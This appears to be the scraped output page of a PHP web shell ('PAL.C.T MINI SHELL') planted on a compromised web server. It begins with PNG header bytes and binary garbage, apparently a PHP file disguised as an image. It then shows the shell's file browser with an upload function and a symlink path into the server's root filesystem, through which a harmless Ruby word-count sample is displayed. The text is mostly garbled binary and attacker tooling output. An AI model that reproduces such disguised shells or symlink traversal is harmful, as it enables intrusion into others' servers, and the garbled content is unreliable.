php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /var/www/html/sub/images/Rm19_symconf/root/usr/share/doc/ruby-1.8.7.374/sample/
upload
files >> /var/www/html/sub/images/Rm19_symconf/root/usr/share/doc/ruby-1.8.7.374/sample/freq.rb

# word occurrence listing
# usege: ruby freq.rb file..
freq = Hash.new(0)
while line = gets()
  line.scan(/\w+/) do |word|
    freq[word] += 1
  end
end

for word in freq.keys.sort!
  print word, " -- ", freq[word], "\n"
end
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